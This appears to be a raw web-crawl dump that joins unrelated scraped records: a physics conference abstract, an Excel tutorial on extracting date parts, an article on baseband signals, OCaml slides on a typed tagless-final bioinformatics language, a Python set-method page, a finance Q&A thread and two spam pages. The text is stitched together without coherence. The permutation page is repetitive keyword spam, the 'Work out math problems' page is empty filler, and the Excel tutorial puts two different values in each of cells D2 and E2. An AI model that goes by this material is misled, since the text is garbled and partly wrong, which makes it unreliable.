"Volume 282 - 38th International Conference on High Energy Physics (ICHEP2016) - Beyond the Standard Model\nImposing LHC constraints on the combined Anomaly and $Z^\\prime$ Mediation Mechanism of Supersymmetry Breaking\nJ. Roy\nFull text: pdf\nPre-published on: February 06, 2017\nPublished on: April 19, 2017\nAbstract\nCombining anomaly with $Z^\\prime$ mediation allows us to solve the tachyonic problem of the former and avoid fine tuning in the latter. This model includes an extra $U(1)^\\prime$ gauge symmetry and extra singlet scalar $S$ which provides a solution to the `$\\mu$ problem' of the Minimal Supersymmetric Standard Model (MSSM). The low-energy particle spectrum is calculated from the UV inputs using the Renormalization Group Equations. The benchmark points considered in the original model, suggested before the Higgs discovery, predicted a Higgs mass heavier than the generic MSSM value. In 2012, the Higgs particle was discovered and found to have a mass of 125 GeV. Therefore, we can use that value and other current LHC data to scan the parameter space and update the predictions of the model, in particular the mass of the $Z^\\prime$ gauge boson.\nDOI: https://doi.org/10.22323/1.282.0126\nHow to cite\n\nMetadata are provided both in \"article\" format (very similar to INSPIRE) as this helps creating very compact bibliographies which can be beneficial to authors and readers, and in \"proceeding\" format which is more detailed and complete.\n\nOpen Access"
] | [
null,
"https://pos.sissa.it/images/headInternal.gif",
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https://turbofuture.com/computers/How-to-get-the-Year-Month-Day-Hour-Minute-Second-from-a-Date-Time-Value-in-Excel | [
"Updated date:\n\n# How to Dynamically Extract the Year, Month, Day, Hour, Minute, and Second From a Date-Time Value in Excel\n\nNeha is a software professional with 13+ years of experience in the IT Industry. She enjoys writing technical tutorials.",
null,
"How to Dynamically Extract the Year, Month, Day, Hour, Minute and Second From a Date-Time Value in Excel\n\n## How Do I Extract the Year, Month, Day, etc. From a Date-Time Value? (3 Easy Steps)\n\nDo you want to learn how to dynamically extract the year, month, day, hour, minute, and second from a date-time value in Excel? This is also called \"date stripping\", and I will teach you how!\n\nHere's my step-by-step tutorial with easy instructions to follow.\n\n### 1. Identify the Date-Time Field Where You Would Like to Extract These Values\n\nLet us assume we have a date-time value in a Microsoft Excel Worksheet and we would like to dynamically extract the year, month, day, hour, minute, and second from that date-time value.\n\nHere's the sample data we are going to use to demonstrate how to do this.\n\nIn our table here, we have a list of date-time values in the (DD-MM-YYYY HH:MM:SS AM/PM) format. We are going to use Microsoft Excel formulas to dynamically extract the individual values for the year, month, day, hour, minute, and second.\n\nSo in this case, the column to be used to determine these values would be Column A, that is holding the date-time values.\n\n### 2. Use the Formula in the Cell Where You Want the Extracted Value to Appear\n\nHere's how we're going to do this part, step by step.\n\n### Year\n\nFormula to be entered in cell: B2 (That's where the Year should appear)\n\nFormula to be used: YEAR (serial_number)—Returns the year of a date, an integer in the range of 1900–9999.\n\n### Month\n\nFormula to be entered in the cell: C2 (That's where the Month should appear).\n\nFormula to be used: MONTH (serial_number)—Returns the month, a number from 1 (January) to 12 (December).\n\n### Day\n\nFormula to be entered in the cell: D2 (That's where the Day should appear).\n\nFormula to be used: DAY (serial_number)—Returns the date of the month, a number from 1 to 31.\n\n### Hour\n\nFormula to be entered in cell: D2 (That's where the Hour should appear).\n\nFormula to be used: HOUR (serial_number)—Returns the hour as a number from 0 (12:00 AM) to 23 (11:00 PM).\n\n### Minute\n\nFormula to be entered in the cell: E2 (That's where the Minute should appear).\n\nFormula to be used: MINUTE (serial_number)—Returns the minute, a number from 0 to 59.\n\n### Second\n\nFormula to be entered in the cell: E2 (That's where the Second should appear).\n\nFormula to be used: SECOND (serial_number)—Returns the second, a number from 0 to 59.\n\nKeep in Mind:\n\nFor all the above formulae, serial_number is the column that is holding the date-time value. So in this case, A2.\n\n### 3. Copy the Formula to the Remaining Cells\n\nYou could either copy and paste the formula in the remaining cells, or you could drag the plus sign at the bottom right corner of the cell so that the formula gets copied to the remaining cells.\n\n### And, Done!\n\nOnce the formula is copied to the other cells, it automatically extracts the values from the entire list of the date-time values.\n\nThe result is the year, month, day, hour, minute, and second value for each of the date-time values in the selected column."
] | [
null,
"https://images.saymedia-content.com/.image/t_share/MTgxOTYzNjQ2Nzc0MzU1MDc1/how-to-get-the-year-month-day-hour-minute-second-from-a-date-time-value-in-excel.png",
null
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https://db0nus869y26v.cloudfront.net/en/Baseband | [
"",
null,
"Spectrum of a baseband signal, energy E per unit frequency as a function of frequency f. The total energy is the area under the curve.\n\nIn telecommunications and signal processing, baseband is the range of frequencies occupied by a signal that has not been modulated to higher frequencies. Baseband signals typically originate from transducers, converting some other variable into an electrical signal. For example, the output of a microphone is a baseband signal that is an analog of the applied voice audio. In conventional analog radio broadcasting the baseband audio signal is used to modulate an RF carrier signal at a much higher frequency.\n\nA baseband signal may have frequency components going all the way down to DC, or at least it will have a high ratio bandwidth. A modulated baseband signal is called a passband signal. This occupies a higher range of frequencies and has a lower ratio and fractional bandwidth.\n\n## Various uses\n\n### Baseband signal\n\nA baseband signal or lowpass signal is a signal that can include frequencies that are very near zero, by comparison with its highest frequency (for example, a sound waveform can be considered as a baseband signal, whereas a radio signal or any other modulated signal is not).\n\nA baseband bandwidth is equal to the highest frequency of a signal or system, or an upper bound on such frequencies, for example the upper cut-off frequency of a low-pass filter. By contrast, passband bandwidth is the difference between a highest frequency and a nonzero lowest frequency.\n\n### Baseband channel\n\nA baseband channel or lowpass channel (or system, or network) is a communication channel that can transfer frequencies that are very near zero. Examples are serial cables and local area networks (LANs), as opposed to passband channels such as radio frequency channels and passband filtered wires of the analog telephone network. Frequency division multiplexing (FDM) allows an analog telephone wire to carry a baseband telephone call, concurrently as one or several carrier-modulated telephone calls.\n\n### Digital baseband transmission\n\n Main article: Line code\n\nDigital baseband transmission, also known as line coding, aims at transferring a digital bit stream over baseband channel, typically an unfiltered wire, contrary to passband transmission, also known as carrier-modulated transmission. Passband transmission makes communication possible over a bandpass filtered channel, such as the telephone network local-loop or a band-limited wireless channel.\n\n#### Baseband transmission in Ethernet\n\nThe word \"BASE\" in Ethernet physical layer standards, for example 10BASE5, 100BASE-TX and 1000BASE-SX, implies baseband digital transmission (i.e. that a line code and an unfiltered wire are used).\n\n### Baseband processor\n\nA baseband processor also known as BP or BBP is used to process the down-converted digital signal to retrieve essential data for a wireless digital system. The baseband processing block in GNSS receivers is responsible for providing observable data: that is, code pseudo-ranges and carrier phase measurements, as well as navigation data. \n\n### Equivalent baseband signal\n\nAn equivalent baseband signal or equivalent lowpass signal is—in analog and digital modulation methods for (passband) signals with constant or varying carrier frequency (for example ASK, PSK QAM, and FSK)—a complex valued representation of the modulated physical signal (the so-called passband signal or RF signal). The equivalent baseband signal is $Z(t)=I(t)+jQ(t)\\,$",
null,
"where $I(t)$",
null,
"is the inphase signal, $Q(t)$",
null,
"the quadrature phase signal, and $j$",
null,
"the imaginary unit. In a digital modulation method, the $I(t)$",
null,
"and $Q(t)$",
null,
"signals of each modulation symbol are evident from the constellation diagram. The frequency spectrum of this signal includes negative as well as positive frequencies. The physical passband signal corresponds to\n\n$I(t)\\cos(\\omega t)-Q(t)\\sin(\\omega t)=\\mathrm {Re} \\{Z(t)e^{j\\omega t}\\}\\,$",
null,
"where $\\omega$",
null,
"is the carrier angular frequency in rad/s.\n\n## Modulation\n\nA signal at baseband is often used to modulate a higher frequency carrier signal in order that it may be transmitted via radio. Modulation results in shifting the signal up to much higher frequencies (radio frequencies, or RF) than it originally spanned. A key consequence of the usual double-sideband amplitude modulation (AM) is that the range of frequencies the signal spans (its spectral bandwidth) is doubled. Thus, the RF bandwidth of a signal (measured from the lowest frequency as opposed to 0 Hz) is twice its baseband bandwidth. Steps may be taken to reduce this effect, such as single-sideband modulation. Conversely, some transmission schemes such as frequency modulation use even more bandwidth.\n\nThe figure below shows AM modulation:",
null,
"Comparison of the equivalent baseband version of a signal and its AM-modulated (double-sideband) RF version, showing the typical doubling of the occupied bandwidth."
] | [
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https://wr.mondet.org/slides/compose2017-biottfi/ | [
"## Typed Tagless Final Bioinformatics\n\nSebastien Mondet (@smondet).\n\nC◦mp◦se :: Conference, Thursday, May 18, 2017.\n\n### Context\n\nSeb: Software Engineering / Dev Ops at the Hammer Lab.",
null,
"### Context\n\nWas here 2 years ago to present:\n\n• Ketrew: a workflow engine for complex computational pipelines.\n• EDSL/library to write programs that build workflows/pipelines\n• A separate application, The “Engine”, orchestrates those workflows\n• Biokepi: a library of Ketrew “nodes” for Bioinformatics.\n\nNow\n\n• Used with GCloud/Kubernetes, AWS, YARN (incl. Spark).\n• `Tyxml_js` + `react` WebUI\n• Personalized Genomic Vaccine clinical trial (NCT02721043) → `hammerlab/epidisco/`\n\n### WebUI ⇒ 3.6 MB GIFs",
null,
"### In Particular, We Presented:\n\nCool experiment: GADT-based, very high-level pipeline EDSL.",
null,
"### Then, At OCaml / ICFP 2015\n\nCool experiment: add tools / tool-kinds:",
null,
"### And Soon After\n\nKept growing, became the default…\n\n```type _ t =\n| Fastq_gz: File.t -> fastq_gz t\n| Fastq: File.t -> fastq t\n| Bam_sample: string * bam -> bam t\n| Bam_to_fastq: [ `Single | `Paired ] * bam t -> fastq_sample t\n| Paired_end_sample: fastq_sample_info * fastq t * fastq t -> fastq_sample t\n| Single_end_sample: fastq_sample_info * fastq t -> fastq_sample t\n| Gunzip_concat: fastq_gz t list -> fastq t\n| Concat_text: fastq t list -> fastq t\n| Star: Star.Configuration.Align.t * fastq_sample t -> bam t\n| Hisat: Hisat.Configuration.t * fastq_sample t -> bam t\n| Stringtie: Stringtie.Configuration.t * bam t -> gtf t\n| Bwa: Bwa.Configuration.Aln.t * fastq_sample t -> bam t\n| Bwa_mem: Bwa.Configuration.Mem.t * fastq_sample t -> bam t\n| Mosaik: fastq_sample t -> bam t\n| Gatk_indel_realigner: Gatk.Configuration.indel_realigner * bam t -> bam t\n| Picard_mark_duplicates: Picard.Mark_duplicates_settings.t * bam t -> bam t\n| Gatk_bqsr: (Gatk.Configuration.bqsr * bam t) -> bam t\n| Bam_pair: bam t * bam t -> bam_pair t\n| Somatic_variant_caller: somatic Variant_caller.t * bam_pair t -> vcf t\n| Germline_variant_caller: germline Variant_caller.t * bam t -> vcf t\n| Seq2HLA: fastq_sample t -> seq2hla_hla_types t\n| Optitype: ([`DNA | `RNA] * fastq_sample t) -> optitype_hla_types t\n\n### Very Concise Pipelines\n\n```let crazy_example ~normal_fastqs ~tumor_fastqs ~dataset =\nlet open Pipeline.Construct in\nlet normal = input_fastq ~dataset normal_fastqs in\nlet tumor = input_fastq ~dataset tumor_fastqs in\nlet bam_pair ?gap_open_penalty ?gap_extension_penalty () =\nlet normal =\nbwa ?gap_open_penalty ?gap_extension_penalty normal\n|> gatk_indel_realigner |> picard_mark_duplicates |> gatk_bqsr in\nlet tumor =\nbwa ?gap_open_penalty ?gap_extension_penalty tumor\n|> gatk_indel_realigner |> picard_mark_duplicates in\npair ~normal ~tumor in\nlet bam_pairs = [\nbam_pair ();\nbam_pair ~gap_open_penalty:10 ~gap_extension_penalty:7 ();\n] in\nlet vcfs =\nList.concat_map bam_pairs ~f:(fun bam_pair ->\n[\nmutect bam_pair;\nsomaticsniper bam_pair;\nsomaticsniper ~prior_probability:0.001 ~theta:0.95 bam_pair;\nvarscan_somatic bam_pair;\nstrelka ~configuration:Strelka.Configuration.exome_default bam_pair;\n])\nin\nvcfs```\n\n### Type Information",
null,
"### There's a “But”\n\nFancy but not that practical:\n\n• `Pipeline.t` is getting too big\n• Just `compile_aligner_step` is about 170 lines of pattern-matching\n• Still missing proper `lambda`/`apply`, list functions, etc.\n• Not Extensible\n• Adding new types is pretty annoying.\n• Optimization passes need to deal with whole language at once, always.\n• Optimization are not proper language transformations.\n\n### Try Again\n\nWe want what we already have + users of the library to be able to:\n\n• Extend the language to their needs\n• Re-use default compilers when implementing theirs\n• Write future-proof optimizations\n• Do transformations “by hand” if easier than an optimization pass\n\n### Not-Really Extensible Hacks\n\nTried a few experiments:\n\n• extensible types\n• loose a lot of the type-strength benefits\n• are not that extensible\n• basic “language” based-on GADTs and extensible bioinformatics atoms\n• could have worked further but not really extensible either\n\n### Oleg\n\n“We trivially and elegantly solved that problem 20 years ago!”",
null,
"### QueΛ and The Course Notes\n\nFirst:\n\n@pveber pointed us to Oleg's course:\n\n• In Haskell (very concise code, very un-modular).\n• Well explained and progressive.\n\n⇒ Follow the course; with QueΛ's help; in a Biokepi-like setting.\n\n### And We Did It",
null,
"### We TTFI-ed Everything\n\nAnd it's more powerful:\n\n• More constructs: `lambda`/`apply`, list and pair functions, …\n• Easier to document.\n• Easier to maintain.\n• Extensible by the users.\n\nAnd keeps growing:\n\n`````` \\$ grep 'val ' src/pipeline_edsl/semantics.ml | wc -l\n56``````\n\n### How Does It Work?\n\nNow tutorial mode:\n\n• Translation to TTFI.\n• Show how to manipulate the pseudo-AST.\n• Show how to extend the EDSL.\n\nType Constraints + Existential Types:\n\n```type _ t =\n| Int: int -> int t\n| True: bool t\n| False: bool t\n| Equal: 'a t * 'a t -> bool t\n\nlet rec eval: type v. v t -> v =\nfunction\n| Int i -> i\n| True -> true\n| False -> false\n| Equal (a, b) -> (=) (eval a) (eval b)\n\nlet () = assert (eval (Int 42) = 42)\nlet () = assert (eval (Equal (True, (Equal (Int 42, Int 42)))) = true)```\n\n### TTFI\n\nType Constraints + Existential Types, using module types and functors:\n\n```module type Symantics = sig\ntype 'a repr\nval int: int -> int repr\nval t: bool repr\nval f: bool repr\nval equal: 'a repr -> 'a repr -> bool repr\nend\n\nmodule Eval_ocaml : Symantics with type 'a repr = 'a = struct\ntype 'a repr = 'a\nlet int i = i\nlet t = true\nlet f = false\nlet equal a b = (a = b) (* Cheating a bit *)\nend\n\nmodule Examples (EDSL: Symantics) = struct\nlet ex1 = EDSL.int 42\nlet ex2 = EDSL.(equal t (equal (int 42) (int 42)))\nend\n\nlet () =\nlet module Compiled_examples = Examples(Eval_ocaml) in\nassert (Compiled_examples.ex1 = 42);\nassert (Compiled_examples.ex2 = true);\n()```\n\n### TTFI in Bullet Points\n\nIn OCaml:\n\n• defintion of the language: `module type Semantics`\n• program: `functor: Semantics -> whatever`\n• compiler: `module implementing Semantics`\n• optimization/transformation: `functor: Semantics -> Semantics`\n• optimization framework: functor + GADT that implements “default behavior”\n\n### Mysteriously Useful Bit\n\nMore jargon: “observations” are useful artifacts of optimization passes:\n\n```module type Symantics = sig\ntype 'a repr\nval int: int -> int repr\nval t: bool repr\nval f: bool repr\nval equal: 'a repr -> 'a repr -> bool repr\ntype 'a observation\nval observe: (unit -> 'a repr) -> 'a observation\nend```\n\n### To-String Compiler\n\n```module Eval_string\n: Symantics with type 'a repr = string and type 'a observation = string\n= struct\ntype 'a repr = string\nlet int = string_of_int\nlet t = \"True\"\nlet f = \"False\"\nlet equal a b = Printf.sprintf \"(%s = %s)\" a b\ntype 'a observation = string\nlet observe f = f ()\nend\nmodule More_examples (EDSL: Symantics) = struct\nlet ex1 =\nlet open EDSL in\nobserve (fun () -> int 42)\nlet ex2 =\nlet open EDSL in\nobserve (fun () ->\nequal (equal t t) (equal (int 42) (int 43))\n)\nend\nlet () =\nlet module Compiled_examples = More_examples(Eval_string) in\nPrintf.printf \"Ex1: %s\\nEx2: %s\\n%!\"\nCompiled_examples.ex1 Compiled_examples.ex2;\n()```\n``````Ex1: 42\nEx2: ((True = True) = (42 = 43))``````\n\n### Simple Optimization Example\n\nWe can do some rewriting with functors:\n\n```module True_equal_true_true (Input: Symantics)\n: Symantics with type 'a observation = 'a Input.observation\n= struct\ninclude Input\nlet t = Input.(equal t t)\nend\n\nlet () =\nlet module Compiled_examples = More_examples(True_equal_true_true(Eval_string)) in\nPrintf.printf \"Ex1: %s\\nEx2: %s\\n%!\"\nCompiled_examples.ex1 Compiled_examples.ex2;\n()```\n``````Ex1: 42\nEx2: (((True = True) = (True = True)) = (42 = 43))``````\n\n(this works without the `'a observation` thing …)\n\n### Not Enough\n\nFor more complex/interesting transformations,\nwhat we really want is to `match term with`:\n\n```type _ t =\n| Int: int -> int t\n| True: bool t\n| False: bool t\n| Equal: 'a t * 'a t -> bool t\n\nlet rec transform_equal_true_true : type v. v t -> v t =\nfunction\n| Int i -> Int i\n| True -> True\n| False -> False\n| Equal (True, True) -> True (* Optimization Pass ! *)\n| Equal (a, b) ->\nEqual (transform_equal_true_true a, transform_equal_true_true b)\n\nlet () =\nassert (\ntransform_equal_true_true (Equal (False, (Equal (True, True))))\n=\n(Equal (False, True))\n)```\n\n### Optimization Framework\n\nSome type-hackery later … A Generic Extensible Optimization Pass Generator.\n\n```module type Transformation_base = sig\ntype 'a from\ntype 'a term\nval fwd : 'a from -> 'a term (* reflection *)\nval bwd : 'a term -> 'a from (* reification *)\nend\nmodule Generic_optimizer\n(X: Transformation_base)\n(Input: Symantics with type 'a repr = 'a X.from)\n: Symantics\nwith type 'a repr = 'a X.term\nand type 'a observation = 'a Input.observation\n= struct\nopen X\ntype 'a repr = 'a term\nlet int i = fwd (Input.int i)\nlet t = fwd Input.t\nlet f = fwd Input.f\nlet equal a b =\nfwd (Input.equal (bwd a) (bwd b))\ntype 'a observation = 'a Input.observation (* Here we “get out” ! *)\nlet observe f =\nInput.observe (fun () -> bwd (f ()))\nend```\n\n### Using The Optimization Framework\n\nSo we want to do `| Equal (True, True) -> True`:\n\n```module True_true (Input: Symantics) = struct\nmodule Transformation = struct\ntype 'a from = 'a Input.repr\ntype 'a term =\n| Unknown: 'a from -> 'a term\n| Equal: 'a term * 'a term -> bool term\n| True: bool term\nlet fwd x = Unknown x\nlet rec bwd : type a. a term -> a from = function\n| Unknown x -> x\n| Equal (True, True) -> Input.t\n| Equal (a, b) -> Input.equal (bwd a) (bwd b)\n| True -> Input.t\nend\nmodule Language_delta = struct\nlet equal a b = Transformation.Equal (a, b)\nlet t = Transformation.True\nend\ninclude Generic_optimizer(Transformation)(Input)\ninclude Language_delta\nend```\n\n### Using the Optimization Pass\n\nStill just a functor to apply “in the chain:”\n\n```let () =\nlet module Compiled = More_examples(Eval_string) in\nlet module Optimized = More_examples(True_true(Eval_string)) in\nPrintf.printf \"Compiled: %s\\nOptimized: %s\\n%!\"\nCompiled.ex2 Optimized.ex2```\n\nSuccess!\n\n``````Compiled: ((True = True) = (42 = 43))\nOptimized: (True = (42 = 43))``````\n\n### Extensions\n\nSome `include`, and module sub-typing magic:\n\n```module type Symantics_with_lambdas = sig\ninclude Symantics\n(** Lambda abstraction *)\nval lambda : ('a repr -> 'b repr) -> ('a -> 'b) repr\n(** Application *)\nval apply : ('a -> 'b) repr -> 'a repr -> 'b repr\nend\n\nmodule Eval_string_with_lambdas\n: Symantics_with_lambdas\nwith type 'a repr = string and type 'a observation = string\n= struct\ninclude Eval_string\nopen Printf\nlet lambda f =\nlet var = sprintf \"x%d\" (Random.int 1000) in\nsprintf \"(λ %s → %s)\" var (f var)\nlet apply f x =\nsprintf \"(%s %s)\" f x\nend```\n\n### Use The Extension\n\n```module Example_with_lambdas (EDSL : Symantics_with_lambdas) = struct\nopen EDSL\nlet l1 =\nlambda (fun x -> equal x t)\nlet ex1 =\nobserve (fun () -> l1)\nlet ex2 =\nobserve (fun () -> apply l1 (equal t t))\n(* Of course still type checked:\nlet ex2 =\nobserve (fun () -> apply l1 (int 42))\nError: This expression has type int repr\nbut an expression was expected of type bool repr\nType int is not compatible with type bool\n*)\nend\n\nlet () =\nlet module Compiled = Example_with_lambdas(Eval_string_with_lambdas) in\nPrintf.printf \"Ex1: %s\\nEx2: %s\\n%!\"\nCompiled.ex1 Compiled.ex2```\n``````Ex1: (λ x370 → (x370 = True))\nEx2: ((λ x370 → (x370 = True)) (True = True))``````\n\n### Extend The Generic Optimization Thing\n\nSoooo meta:\n\n```module Generic_optimizer_with_lambdas\n(X: Transformation_base)\n(Input: Symantics_with_lambdas with type 'a repr = 'a X.from)\n: Symantics_with_lambdas\nwith type 'a repr = 'a X.term\nand type 'a observation = 'a Input.observation\n= struct\nopen X\ninclude Generic_optimizer(X)(Input)\nlet lambda f = fwd (Input.lambda (fun x -> bwd (f (fwd x))))\nlet apply e1 e2 = fwd (Input.apply (bwd e1) (bwd e2))\nend```\n\n### Extend The Optimization Pass\n\n`True_true` does not touch the new stuff:\n\n```module True_true_with_lambdas (Input: Symantics_with_lambdas) = struct\nmodule Previous_true_true = True_true(Input)\ninclude Generic_optimizer_with_lambdas(Previous_true_true.Transformation)(Input)\ninclude Previous_true_true.Language_delta\nend\n\nlet () =\nlet module Compiled = Example_with_lambdas(Eval_string_with_lambdas) in\nlet module Optimized =\nExample_with_lambdas(True_true_with_lambdas(Eval_string_with_lambdas)) in\nPrintf.printf \"Ex2 normal: %s\\nEx2 optimized: %s\\n%!\"\nCompiled.ex2 Optimized.ex2```\n``````Ex2 normal: ((λ x20 → (x20 = True)) (True = True))\nEx2 optimized: ((λ x921 → (x921 = True)) True)``````\n\n### Back To Biokepi\n\n• Compiles to:\n• Ketrew workflows.\n• JSON “provenance proofs.”\n• Display-friendly, high-level, Dot-graphs.\n• Optimizations not that useful:\n• In our application, it's mostly for display/readability purposes.\n\n### Apply Lambdas\n\nFrom PR `#236`:",
null,
"### For A Nice Display",
null,
"### Epidisco\n\nBig (family of) pipeline(s) that drive a clinical trial and other people's analyses:\n`hammerlab/epidisco/`\n\nCf. output to `dot`-graphs:",
null,
"We actually do extend the EDSL:\n\n• Custom HTML “report.”\n• Custom “saving” of important artifacts.\n\n### Zoom",
null,
"### Deal With Insanity",
null,
"### Limitations\n\nMinor issues:\n\n• Applying functors, while conceptually simple, scares beginners.\n• Losing type variance because of the optimization framework.\n• And in our case optimization framework is useful only for display.\n• Cannot always use sub-modules because of `include`.\n• Hence the flat/tagged API with `list_map`, `pair_first`, `pair_second`, …\n\nQuestions?"
] | [
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https://newloadsatbb.web.app/richberg14329ky/819317.html | [
"# Permutation and combination pdf free download\n\n17 Mar 2016 PDF | The principles/theories of permutation and combination in for free · Download full-text PDF It should be understood that one is free. Topic wise Free pdf Downloads of Math Formula Sheet, Examples, Problems and Click Here to Download Permutation & Combination Formula Sheet 19 Nov 2018 Permutation and Combination is one the most frequently asked questions in JEE Main/JEE Advanced. Every year it is certain to find 2-3\n\n## Permutations And Combinations. OBJECTIVES. After studying this lesson, you will be able to : • find out the number of ways in which a given number of objects\n\nPermutation and Combination, PC Study Materials, Engineering Class handwritten notes, exam notes, previous year questions, PDF free download.\n\n### 17 Mar 2016 PDF | The principles/theories of permutation and combination in for free · Download full-text PDF It should be understood that one is free.\n\nNCERT Class 11 Maths book PDF Download. Download Chapter 7 will introduce you to an important topic of Mathematics: Permutation and Combination. Ismor Fischer, 7/21/2010. Appendix / A1. Basic Reviews / Perms & Combos-1. A1. Basic Reviews. PERMUTATIONS and COMBINATIONS or “HOW TO COUNT In mathematics, permutation is the act of arranging the members of a set into a sequence or order, or, if the set is already ordered, rearranging (reordering) its elements—a process called permuting. Permutations differ from combinations, which are selections of some \"Permutation generation methods\" (PDF). Computing FACTORIALS, PERMUTATIONS AND COMBINATIONS n! \"n factorial\" n! is the number of different ways to arrange (permutations of) n objects. World, that entitles him to one free wolverine massage, one free wolverine shampoo, and. We consider permutations in this section and combinations in the next section. Before discussing permutations, it is useful to introduce a general counting tech-. State if each scenario involves a permutation or a combination. Then find the number of possibilities. 5) Castel and Joe are planning trips to three countries this Instant Access to Free Material. welingkar. Permutation and Combination can be a tricky topic that can leave most students puzzled. Download the PDF given below to learn important tricks and formulas related to Permutation and\n\n### In mathematics, permutation is the act of arranging the members of a set into a sequence or order, or, if the set is already ordered, rearranging (reordering) its elements—a process called permuting. Permutations differ from combinations, which are selections of some \"Permutation generation methods\" (PDF). Computing\n\nIn mathematics, permutation is the act of arranging the members of a set into a sequence or order, or, if the set is already ordered, rearranging (reordering) its elements—a process called permuting. Permutations differ from combinations, which are selections of some \"Permutation generation methods\" (PDF). Computing FACTORIALS, PERMUTATIONS AND COMBINATIONS n! \"n factorial\" n! is the number of different ways to arrange (permutations of) n objects. World, that entitles him to one free wolverine massage, one free wolverine shampoo, and. We consider permutations in this section and combinations in the next section. Before discussing permutations, it is useful to introduce a general counting tech-. State if each scenario involves a permutation or a combination. Then find the number of possibilities. 5) Castel and Joe are planning trips to three countries this\n\n### 18 Apr 2018 The study of permutations and combinations is concerned with 7.1.3 Permutations A permutation is an arrangement of objects in a definite\n\nFACTORIALS, PERMUTATIONS AND COMBINATIONS n! \"n factorial\" n! is the number of different ways to arrange (permutations of) n objects. World, that entitles him to one free wolverine massage, one free wolverine shampoo, and. We consider permutations in this section and combinations in the next section. Before discussing permutations, it is useful to introduce a general counting tech-. State if each scenario involves a permutation or a combination. Then find the number of possibilities. 5) Castel and Joe are planning trips to three countries this Instant Access to Free Material. welingkar. Permutation and Combination can be a tricky topic that can leave most students puzzled. Download the PDF given below to learn important tricks and formulas related to Permutation and"
] | [
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https://www.alphacodingskills.com/python/notes/python-set-difference-update.php | [
"# Python Set - difference_update() Method\n\nThe Python difference_update() method is used to delete all elements of the given set which are present in the specified sets or iterables. This method can take any number of sets or iterables as arguments to compare with the given set.\n\nThe below figure depicts two sets called A = {10, 20, 30, 40, 50, 60} and B = {50, 60, 70, 80}. A-B = {10, 20, 30, 40} and B-A = {70, 80} are shown in the figure. Please note that A-B ≠ B-A in set operation. The difference_update() method can be expressed as:\n\n• A.difference_update(B) is same as A = A-B\n• B.difference_update(A) is same as B = B-A\n• A.difference_update(B, C) is same as A = A-B-C",
null,
"### Syntax\n\n```set.difference_update(iterable(s))\n```\n\n### Parameters\n\n `iterable(s)` `Optional. `specify set(s) or iterable(s) to compute difference set.\n\nNone.\n\n### Example: Difference set using set as an argument\n\nIn the example below, two sets called SetA and SetB are taken to compute the difference of these sets and update the original set using python difference_update() method.\n\n```SetA = {10, 20, 30, 40, 50, 60}\nSetB = {50, 60, 70, 80}\n# updates SetA with difference set\nSetA.difference_update(SetB)\nprint(SetA)\n\nSetA = {10, 20, 30, 40, 50, 60}\nSetB = {50, 60, 70, 80}\n# updates SetB with difference set\nSetB.difference_update(SetA)\nprint(SetB)\n```\n\nThe output of the above code will be:\n\n```{20, 40, 10, 30}\n{80, 70}\n```\n\n### Example: Difference set using set and iterable as arguments\n\nThe difference_update() method can take any numbers of sets or iterables to compute the difference set and update the original set. In the example below, the difference_update() method is used with SetA, SetB and ListC to update SetA with a set containing all elements of original SetA which are not present in SetB and ListC.\n\n```SetA = {10, 20, 30, 40, 50, 60}\nSetB = {40, 50}\nListC = {60, 100}\nSetA.difference_update(SetB, ListC)\nprint(SetA)\n```\n\nThe output of the above code will be:\n\n```{20, 10, 30}\n```\n\n❮ Python Set Methods\n\n5"
] | [
null,
"https://www.alphacodingskills.com/python/img/difference-update.PNG",
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https://quant.stackexchange.com/questions/46559/where-can-i-find-the-formulas-to-compute-the-greeks-for-european-call-and-put-op/46621 | [
"# Where can I find the formulas to compute the Greeks for European Call and Put Options Assuming no annual dividend yield?\n\nEvery formula I come across involves a $$q$$ (the annual dividend yield). Where Can I find the formulas to compute the greeks assuming no dividends?\n\n• ...simply set q/y to 0. Voilà. Jul 12 '19 at 3:29\n• “Every formula”? I am not convinced you looked very hard. On wikipedia’s page for the Black-Scholes Model under the section “The Greeks”, is listed formulas for the Greeks of European calls and puts under no dividends. Jul 12 '19 at 20:39\n• Here you can find a nice table with the Greeks: exploringpythonforquantanalysis.blogspot.com/2015/04/… Jul 14 '19 at 9:48\n\nAs Nap D. Lover said, here you have a list without any dividends being considered. It all depends on your model though. If you are using a stochastic volatility model or similar extensions, you get different Greeks. For the Heston model, for instance, see Chapyer 11 in here. In general however, if you have formulae including a dividend yield $$q$$, just use the value $$q=0$$ and you get the case you need. Note that it also always possible to approximate Greeks using a finite differences, e.g. $$\\Delta(t_0,S_0) \\approx \\frac{V_{t_0}\\left(S_0+\\frac{1}{2}h\\right)-V_{t_0}\\left(S_0-\\frac{1}{2}h\\right)}{h}.$$"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7876173,"math_prob":0.9569623,"size":1396,"snap":"2021-43-2021-49","text_gpt3_token_len":384,"char_repetition_ratio":0.114224136,"word_repetition_ratio":0.028436018,"special_character_ratio":0.27793697,"punctuation_ratio":0.12811388,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99828565,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-16T15:58:03Z\",\"WARC-Record-ID\":\"<urn:uuid:32e3d59d-6cee-4849-92f2-1bd3828cb498>\",\"Content-Length\":\"167054\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e450e8ff-3f20-4fba-99b7-d425b4b2c12d>\",\"WARC-Concurrent-To\":\"<urn:uuid:a76ed53e-9314-47a4-ac1d-d2beafa5578d>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://quant.stackexchange.com/questions/46559/where-can-i-find-the-formulas-to-compute-the-greeks-for-european-call-and-put-op/46621\",\"WARC-Payload-Digest\":\"sha1:PCD2A7LFXSTA7K3H2KAOGBOEVRNREVYT\",\"WARC-Block-Digest\":\"sha1:TBL6AVEXTBGXUZ7KGQ23MZZPVX7OFZFU\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323584886.5_warc_CC-MAIN-20211016135542-20211016165542-00593.warc.gz\"}"} |
https://esef2018.com/variable-271 | [
"# Work out math problems\n\nWork out math problems can be a helpful tool for these students. So let's get started!\n\n## The Best Work out math problems",
null,
